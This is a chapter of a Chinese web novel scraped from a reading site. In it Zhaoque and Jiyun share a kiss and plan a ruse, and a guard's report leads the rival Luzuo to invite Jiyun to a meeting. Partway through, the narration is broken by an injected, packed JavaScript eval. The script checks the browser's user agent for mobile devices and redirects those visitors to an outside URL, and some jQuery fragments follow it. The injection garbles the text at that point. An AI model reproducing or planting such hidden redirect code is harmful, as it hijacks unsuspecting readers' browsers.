默认冷灰
24号文字
方正启体

51.暗算

作者:朝烟宿雨本书字数:K更新时间:
    帐内暖融,灯火摇晃。


    昭鹊只觉得浑身骨头像是被抽走了,软得提不起一点力气,肺腑间的气息都被这个绵长又深入的吻攫取殆尽。


    他用尽了残存的所有力气,才勉强挪动微微发颤的手,抵在既云的胸膛上,将人推开些许。


    “……不要了。”岂料声音出口便是这样绵软沙哑,尾音带着轻颤,毫无威慑力,反倒像极了欲拒还迎的缠绵不舍。


    他慌忙别过滚烫的脸颊,试图掩饰自己此刻的窘迫。


    昏黄的光影之下,少年两颊上留了两个淡色的指印,原本淡色的唇瓣此刻红肿不堪,沾着一层水光,呼吸间微微张合。


    “好。”既云低低地笑了一声,声音沉沉的,慵懒中又带着点餍足。


    他见好就收,从善如流地松开了揽在昭鹊腰背上的手臂,却并未退开太远,依旧维持着一个将人半圈在怀里的姿势,轻抚着昭鹊的后背,替他顺气。


    昭鹊喘了会儿气,努力地平复着胡乱的心跳。待那阵令人头晕目眩的缺氧感稍稍缓解,他又猛地闭了闭眼,伸手搓了搓,再睁开时,方才眼底迷蒙的水色便被抹去了一些。


    他正了正神色,稍稍坐直了些,强行将神思拉回正事之上,却没避开既云流连的手,只是开口时嗓音有些微哑:“六骨叔安排的事,我和泽善叔,今日已经办妥了。”


    顿了顿,他抬眼看向既云,眼底已恢复了几分平日里的清凌,“若我们先前猜测无误,卢佐此刻怕是已然坐不住了。”


    既云闻言,眼底的缱绻温情稍稍收敛。他点了点头:“做得很好。消息既已递到他耳边,以他多疑的性子,这会儿怕是要百爪挠心。”


    他闲适地向后靠了靠,一手支颐,唇角噙着笑意,“接下来,不必我们再费周折,卢佐自会主动来寻。我们等的人,算算时间,差不多应该已经到了。”


    昭鹊原本要点头,听了后半句又微微蹙眉:“哪来的人?”


    他从未听既云提及另有援手或安排。


    既云面上笑意更深了些,却卖了个关子:“不必着急,待到该出现时,你自然便会知晓。”


    他说着伸手过去,用指腹轻轻地蹭掉昭鹊唇角一点未干的水痕。


    既云这动作做得是亲昵又自然,昭鹊却没忍住又僵了一瞬,刚刚褪去热意的耳根再次烧灼起来。他抿紧了唇,将那点悸动压回心底。


    他一时没接话,帐内便又安静了下来。方才的旖旎虽已被强行压下,周遭却依旧弥漫着一种无形的胶着,将两人缠绕其中。


    昭鹊垂了眼,动作十分不利索地重新抓起缠了一半的草绳和刀柄,试图忽略这奇异的氛围。


    不能再亲了。


    倒不是不喜欢,就是这亲的时候,有种难以言说的感觉。好像人飘在空中一样没有实感。


    但是这其中的滋味么,就又要另说了。


    “卢佐那边一旦有异动,必是先从西边开始。你这几日与泽善还有其余族人在外,对风骑族这内部还有四周的地形可都记熟了?”


    昭鹊立刻抬头,迎上既云的视线:“自然。主要路径和几处可能的暗哨点,都已记下。”


    既云颔首:“那便好。”


    只是他们这边还在忙里偷闲,卢佐那边却截然相反了。


    帐帘被猛地掀开,侍卫几乎是踉跄着冲了进来,甚至来不及行礼,脸上满是惊惶与急色。可临到卢佐跟前,他却没敢直接喊出来,反而还收敛了神色,只是声音还是有些变调:“大人!有要事禀告!”


    卢佐正伏案研究着什么东西,闻声骤然抬头,眉头瞬间拧紧:“慌什么!天塌下来了不成?”


    他最厌手下人遇事失措,这般毛躁模样,成何体统。


    那侍卫被他一斥,浑身一凛,强行压下喘息,两秒后才小心翼翼地开口:“大人,刚、刚刚安排在客帐附近清扫的人传来消息,他听到那个跟在既云身边的,叫昭鹊的男孩,与另一个叫泽善的汉子起了争执……”


    卢佐放下手中的炭笔,顿了半秒,才道:“详细说说。”


    侍卫咽了口唾沫,艰难地复述道:“那昭鹊……他、他说……他们早已从少主夫人那里得到了关键消息!说、说我们大费周章防着他们,就是怕他们找到、找到被藏起来的少爷……”


    他越说越轻,到后边几乎都没了声。


    可卢佐还是听清了最后两个字。一时之间,恍若有一块烧红了的木炭,突然按在了他的耳际,烫的他眼前发黑。


    他静默半晌,才缓缓地撑着桌案站起身,动作很慢,案几上的器物却似乎晃了几晃。面上原本的从容已然褪去,取而代之的是沉在眼底的震怒。


    他瞳孔微缩,声音比平时沉了数度,虽然依旧很好地维持着面上的镇定,但问出的话还是暴露了他此刻的状态:“你说什么?再说一遍他从哪里得到的消息?乌罗儿那个宝贝哑巴?”


    “是、是!我们的人听得真真切切!昭鹊亲口所言,是从少夫人处得知!”侍卫声音不住发颤,“他还说,人说就藏在西边雪山脚下那片帐区。”


    帐内死一般的寂静。


    卢佐只觉得一股寒气从脚底直冲天灵盖,全身上下都僵住了。他面色铁青,背在身后的手紧攥着。


    他心里隐隐觉得自己似乎有什么忽略了的东西,可头脑被这意料之外的消息占据着,一时又搞不清楚是什么。


    “你确定……他是这么说的?原话?”


    “千真万确!大人,那耳朵听得清清楚楚,绝无半字虚言!”侍卫又道。


    油灯的火苗跳跃着,卢佐脸上的表情一时间变幻莫测。卢佐缓缓坐回椅中,才松开拳头的手又用力地攥紧了扶手。


    乌罗儿自疯了以后,头脑就越来越不清楚了。真的假的,好的坏的,也是时而分得清,时而分不清。


    若不是有这么个空子可钻,他还真不好布局。


    可怎么可能会是那个女人?


    她一直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710284|182802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被乌罗儿囚在西边那片不人不鬼的帐区里,且不论那是受诅咒的地方,他们的人不敢贸然闯入。


    那处守得铁桶一般,除了乌罗儿自己和他养的那些死人奴仆,谁也无法进出,她怎么可能有机会单独接触苍狩族的人?


    唯一一次,便是乌罗儿与既云在主帐中会面那次。只是那次他候在帐外,除了隐约听取到了一些交谈的内容,其他也一概不知。难不成翠微是借那次的时机搭的桥。


    依旧说不通。只是这小疯子把那女人当禁/脔一样藏的,绝无可能将苍狩族一行人抵达北地之事告诉她,她无法言喻,若非提前得知,也没法传出消息。


    那便只能是她先前便谋划好的。


    他越想越觉得此事透着诡异蹊跷。那个昭鹊和泽善的争执,听起来固然像是意外失言,可偏偏在这最关键的时刻,吐露了最要命的信息……


    这未免也太过巧合了。


    卢佐回想起之前侍卫禀报的,既云与昭鹊似乎生了龃龉,气氛不同往日。当时他只觉是无聊琐事,此刻想来,又觉有些不对,于是问道:“他们二人当时是为什么缘由才吵了起来?”


    侍卫一愣,旋即道:“似乎是,那苍狩汉子说昭鹊是靠着一副能讨人欢心的皮相,才在既云面前讨了巧的。”


    “这样么?”卢佐默然片刻,“就因为这句话,便吵了起来?甚至激得那少年口不择言,将如此机密之事都嚷了出来?”


    侍卫垂首,小心斟酌着词句:“据说是泽善言语间有轻视之意,昭鹊少年心性,被如此质疑,一时激愤也是有可能的。而且,泽善后来还步步紧逼,讥讽他,昭鹊像是被架住了,下不来台,一时不备才脱口的。”


    于是昭鹊那张漂亮的脸在卢佐脑海中闪过。


    倒也不假,的确是生了一副让人瞧一眼就忍不住心猿意马的模样。


    若真是个仗着几分颜色得了主人青眼,便不知天高地厚,受不得半点委屈的小玩意儿,被旁人如此戳着脊梁骨质疑,恼羞成怒之下,为表自己并非徒有其表,而将自以为掌握的重要筹码抛出,倒也不是说不通。


    卢佐紧绷的神色稍稍缓和了些,但疑虑并未完全打消。


    只是相比之下,昭鹊失言间吐露的有关西边帐区的消息,才是最关键的。西边那片地方,他的人一直以来都难以渗透,如若真如昭鹊所说是翠微传出的消息,那么他们或许也已得知了要如何进入那处。


    侍卫在这一刻福至心灵,暗暗奉承道:“大人,若是此事不虚,这些苍狩族人应当是已经知晓进入西边的路径了的。若是如此……”


    卢佐自然也是已经想到了的。他有些焦躁地敲着扶手,心中权衡着。他先前一直不曾深入西边就是担心打草惊蛇,若既云当真掌握了这进入的途径。


    哪怕只有一线可能,为了少爷,也未尝不可一试。


    良久过去,他终于开口:“既如此,那便命人去递话罢,请既云公子后日戌时,过帐一叙。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)